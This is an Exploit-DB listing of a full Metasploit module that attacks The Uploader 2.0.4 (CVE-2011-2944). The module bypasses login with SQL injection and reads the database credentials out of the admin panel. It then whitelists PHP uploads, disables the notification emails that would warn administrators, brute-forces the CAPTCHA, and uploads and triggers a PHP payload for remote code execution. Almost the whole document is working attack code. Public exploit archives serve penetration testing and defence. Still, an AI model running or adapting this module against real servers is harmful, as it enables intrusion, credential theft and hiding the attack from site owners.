The Uploader 2.0.4 (English/Italian) - Arbitrary File Upload / Remote Code Execution (Metasploit)

EDB-ID:

18518




Platform:

PHP

Date:

2012-02-23


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'				=> 'The Uploader 2.0.4 (Eng/Ita) Remote File Upload',
			'Description'=> %q{
					This module exploits various flaws in The Uploader to upload a PHP payload
					to target system. When run with defaults it will search possible URIs for
					the application and exploit it automatically. Works against both English
					and Italian language versions. Notably it disables pre-emptive email warnings
					before uploading the payload, though it leaves log cleanup as a
					post-exploitation task.
			},
			'Author'			=> [ 'Danny Moules' ],
			'References'     	=>
				[
					[ 'URL', 'http://sourceforge.net/projects/theuploader' ],
					[ 'CVE', '2011-2944' ],
				],
			'Privileged'		=> false,
			'Payload'        	=>
				{
					'DisableNops'	=> true,
					'Keys'        => ['php'],
				},
			'License'			=> MSF_LICENSE,
			'Platform'			=> 'php',
			'Arch'				=> ARCH_PHP,
			'Targets'			=> [[ 'Automatic', { }]],
			'DefaultTarget' 	=> 0,
			'DisclosureDate' 	=> 'Feb 23 2012',
		))

		register_options([
			Opt::RHOST,
			Opt::RPORT(80),
			OptString.new(
				'URI',
				[ true, 'Path of application root (default will try common targets)', '/' ]
			),
			OptInt.new(
				'CRACKATTEMPTS',
				[ true, 'Brute force attempts, if required, to crack CAPTCHA', 200 ]
			),
			OptBool.new(
				'VERBOSE',
				[ true, 'Verbose output', true ]
			),
		], self.class)
	end

	def get_strings(lang)
		if lang == "Eng"
			strings = {
				"sqlisuccess" => /Log-In has been done successfully/,
				"whitelistsuccess" => /The extension has been added successfully/,
				"disablemailsuccess" => /Notification Mail section has been saved successfully/,
				"changedirsuccess" => /Edit Upload Folder section has been saved successfully/,
				"captcharequired" => /No result entered/,
				"uploadsuccess" => /Download Link/,
				"disablecaptchasuccess" =>
					/Upload Permissions section has been saved successfully/,
			}
		elsif lang == "Ita"
			strings = {
				"sqlisuccess" => /stato effettuato con successo/,
				"whitelistsuccess" => /L'estensione &egrave; stata consentita con successo/,
				"disablemailsuccess" => /Mail di Notifica &egrave; stata salvata con successo/,
				"changedirsuccess" =>
					/Modifica Cartella Upload &egrave; stata salvata con successo/,
				"captcharequired" => /Non &agrave; stato inserito nessun risultato/,
				"uploadsuccess" => /Link al download/,
				"disablecaptchasuccess" => /Permessi Upload &egrave; stata salvata con successo/,
			}
		end
		return strings
	end

	def exploit
		#Analyse target
		analysis = analyse(datastore['URI'])
		print_status(analysis['status'])
		strings = get_strings(analysis['lang'])
		unless analysis['uri'].nil?
			datastore['URI'] = analysis['uri']
		end

		#Attempt SQLi - Gets the 'first' valid admin account
		data = "username=' OR activated=1-- a"
		data << "&password=a"
		data << "&login=Log-IN"

		res = send_and_verify(
			datastore['URI'] + "login.php",
			"POST",
			"application/x-www-form-urlencoded",
			"",
			data,
			"SQL injection",
			strings['sqlisuccess']
		)

		#Get cookies
		unless res.headers.include?('Set-Cookie')
			raise RuntimeError.new("Nobody gave us a cookie =( SQLi failed")
		end
		choc_chip = res.headers['Set-Cookie']
		if datastore["VERBOSE"]
			print_good("I stole the cookie from the cookie jar: #{choc_chip}")
		end

		#Optionally, analyse configuration
		if datastore["VERBOSE"]
			begin
				config = analyse_config(strings, choc_chip)
				print_status("INFO: Database host is #{config['db_host']}")
				print_status("INFO: Database username is #{config['db_user']}")
				print_status("INFO: Database password is #{config['db_pass']}")
				print_status("INFO: Database name is #{config['db_name']}")
				print_status("INFO: Admin log is #{config['admin_log']}")
			rescue ::Exception => e
				err = "Non-fatal error. Failed to analyse configuration: "
				err << "#{e.class.to_s} #{e.to_s}"
				print_error(err)
			end
		end

		#Whitelist .php extensions for upload
		res = send_and_verify(
			datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=extensionadd",
			"POST",
			"application/x-www-form-urlencoded",
			choc_chip,
			"allowed_ext=php",
			"Whitelisting .php extensions",
			strings['whitelistsuccess']
		)

		# Disable email reporting
		res = send_and_verify(
			datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=mail",
			"POST",
			"application/x-www-form-urlencoded",
			choc_chip,
			"upload_email=0",
			"Disabling email reporting",
			strings['disablemailsuccess']
		)

		# Change upload location to suit us
		data = "upload_directory="
		data << "&upload_full="
		data << datastore['RHOST']
		data << datastore['URI']

		res = send_and_verify(
			datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=uploaddir",
			"POST",
			"application/x-www-form-urlencoded",
			choc_chip,
			data,
			"Changing upload directory to application root",
			strings['changedirsuccess']
		)

		#Disable CAPTCHA on upload (non-fatal)
		begin
			res = send_and_verify(
				datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=captcha",
				"POST",
				"application/x-www-form-urlencoded",
				choc_chip,
				"captcha_upload=0",
				"Disabling CAPTCHA on upload",
				strings['disablecaptchasuccess']
			)
		rescue ::Exception
			print_error("Disabling CAPTCHA on upload failed. Will use cracker if necessary.")
		end

		#Upload PHP payload
		upload_uri = "ajax/upload.php"
		filename = "#{rand_text_alphanumeric(8)}.php"
		boundary = rand_text_alphanumeric(8)
		data = %Q{
--#{boundary}
Content-Disposition: form-data; name="upfile_1"; filename="#{filename}"
Content-Type: text/plain

<?php #{payload.encoded} ?>
--#{boundary}
		}

		res = send_request_raw({
			'uri'		=>  datastore['URI'] + upload_uri,
			'method'	=> 'POST',
			'data'		=> data + '--',
			'headers'	=>
				{
					'Cookie' 		=> choc_chip,
					'Content-Type' 		=> 'multipart/form-data; boundary=' + boundary,
					'Content-Length' 	=> data.length + 2,
				},
		}, 20)

		#Verify response
		if res.code != 200
			raise RuntimeError.new("Uploading payload failed (HTTP code #{res.code.to_s})")
		end

		# If failure due to CAPTCHA, crack that...
		if res.body =~ strings['captcharequired']
			crack_captcha(data, choc_chip, boundary, upload_uri, strings)
		else
			if res.body =~ strings['uploadsuccess']
				if datastore["VERBOSE"]
					print_good("Uploading payload succeeded, triggering...")
				end
			else
				err = "Response doesn't look right."
				err << " Uploading payload probably failed (will continue anyway)"
				print_error(err)
			end
		end

		#Attempt to trigger payload
		res = send_request_cgi({
			'uri'		=>  datastore['URI'] + filename,
			'method'	=> 'GET',
			'headers'	=>
				{
					'Cookie' => choc_chip,
				},
		}, 5)

		#Verify response
		if res and res.code != 200
			err = "Triggering payload (/#{filename}) failed "
			err << "(HTTP code #{res.code.to_s})"
			raise RuntimeError.new(err)
		else
			print_good("Triggering payload (/#{filename}) successful")
		end
	end

	def crack_captcha(data, choc_chip, boundary, upload_uri, strings)
		captcha_failed = true
		print_status("CAPTCHA is enabled. Transforming into brute-force CAPTCHA cracker *ping*")

		crack_data = %Q{
#{data}
Content-Disposition: form-data; name="result"

0
--#{boundary}
		}

		patience = datastore['CRACKATTEMPTS']
		for i in (1..patience)

			#First visit index page to trigger CAPTCHA reset
			res = send_request_cgi({
			'uri'		=>  datastore['URI'] + "index.php",
			'method'	=> 'GET',
			'headers'	=>
				{
					'Cookie' => choc_chip
				},
			}, 20)

			#Now try CAPTCHA with result 0. It'll happen eventually (1/30ish chance).
			#Maths-based CAPTCHAs are educational kids!
			res = send_request_raw({
				'uri'		=>  datastore['URI'] + upload_uri,
				'method'	=> 'POST',
				'data'		=> crack_data + '--',
				'headers'	=>
					{
						'Cookie' 			=> choc_chip,
						'Content-Type' 		=> 'multipart/form-data; boundary=' + boundary,
						'Content-Length' 	=> crack_data.length + 2,
					},
			}, 20)

			if res.body =~ strings['uploadsuccess']
				captcha_failed = false
				break
			end
		end

		if captcha_failed
			err = "Could not break CAPTCHA in #{patience.to_s} iterations."
			err << " You might have luck retrying."
			raise RuntimeError.new(err)
		else
			print_good("CAPTCHA broken. Transforming back into a mild-mannered exploit *ping*")
		end
	end

	def send_and_verify(uri, method, ctype, cookie, data, intent, check)
		res = send_request_raw({
			'uri'		=> uri,
			'method'	=> method,
			'data'		=> data,
			'headers'	=>
				{
					'Cookie'			=> cookie,
					'Content-Type'		=> ctype,
					'Content-Length' 	=> data.length,
				},
		}, 20)

		#Verify response
		if res.code != 200
			raise RuntimeError.new("#{intent} failed (HTTP code #{res.code.to_s})")
		end
		unless res.body =~ check
			raise RuntimeError.new("Response doesn't look right. #{intent} probably failed")
		end

		if datastore["VERBOSE"]
			print_good("#{intent} succeeded")
		end

		return res
	end

	def analyse(uri_set)
		code = nil
		found_uri = nil
		status = "Unknown state"
		lang = "Eng"

		unless uri_set =~ /\/$/ then
			uri_set = "#{uri_set}/"
			print_status("URI automatically changed to #{uri_set}")
		end

		unless uri_set =~ /^\// then
			uri_set = "/#{uri_set}"
			print_status("URI automatically changed to #{uri_set}")
		end

		if uri_set == "/" then
			uris = [ "/", "/upload/", "/uploader/", "/theuploader/",
				"/the_uploader/", "/The%20Uploader/",
				"/The%20Uploader%202.0.4%20-%20Eng/", "/The%20Uploader%202.0.4%20-%20Ita/"
			]
		else
			uris = [ uri_set ]
		end

		uris.each do |uri|
			res = send_request_cgi({
				'uri'		=>  uri + "index.php",
				'method'	=> 'GET',
			}, 20)

			if res and res.code == 200
				if res.body =~ /The Uploader 2\.0/
					status = "2.0.* version found at #{uri}"
					code = Exploit::CheckCode::Vulnerable
					found_uri = uri
				elsif res.body =~ /The Uploader/
					status = "Detected unknown version at #{uri}"
					code = Exploit::CheckCode::Detected
					found_uri = uri
				end

				unless found_uri.nil?
					#Set appropriate language
					if res.body =~ /Sezione Upload/
						lang = "Ita"
					end

					http_fingerprint({ :response => res })
					break
				end
			end
		end

		if found_uri.nil?
			if uri_set == "/"
				status = "Could not find the web site automatically. Enter URI manually?"
			else
				status = "Could not find the web site."
				status << " Use the default URI to search for the web site automatically"
			end
			code = Exploit::CheckCode::Safe
		end

		return { "code" => code, "uri" => found_uri, "lang" => lang, "status" => status }
	end

	def analyse_config(strings, cookie)
		#Acquire the database details
		res = send_request_cgi({
			'uri'		=>  datastore['URI'] + "admin.php?section=upload&category=server",
			'method'	=> 'GET',
			'headers'	=>
				{
					'Cookie'	=> cookie
				},
		}, 20)
		unless res and res.code == 200
			raise RuntimeError.new("Acquiring database details failed")
		end
		r = /<input[^>]*name="host"[^>]*value="([^"]*)".*\/>/
		db_host = r.match(res.body)[1]
		r = /<input[^>]*name="user"[^>]*value="([^"]*)".*\/>/
		db_user = r.match(res.body)[1]
		r = /<input[^>]*name="pass"[^>]*value="([^"]*)".*\/>/
		db_pass = r.match(res.body)[1]
		r = /<input[^>]*name="dbnm"[^>]*value="([^"]*)".*\/>/
		db_name = r.match(res.body)[1]

		#Acquire the admin log details
		res = send_request_cgi({
			'uri'		=>  datastore['URI'] + "admin.php?section=admin&category=admin_log",
			'method'	=> 'GET',
			'headers'	=>
				{
					'Cookie'	=> cookie
				},
		}, 20)
		unless res and res.code == 200
			raise RuntimeError.new("Acquiring admin log details failed")
		end
		r = /<input[^>]*name="admin_log"[^>]*checked.*\/>/
		if r.match(res.body)
			admin_log = "active"
		else
			admin_log = "inactive"
		end

		return {
			"db_host" => db_host, "db_user" => db_user, "db_pass" => db_pass,
			"db_name" => db_name, "admin_log" => admin_log,
		}
	end

	def check
		analysis = analyse("/")
		print_status(analysis['status'])
		return analysis['code']
	end
end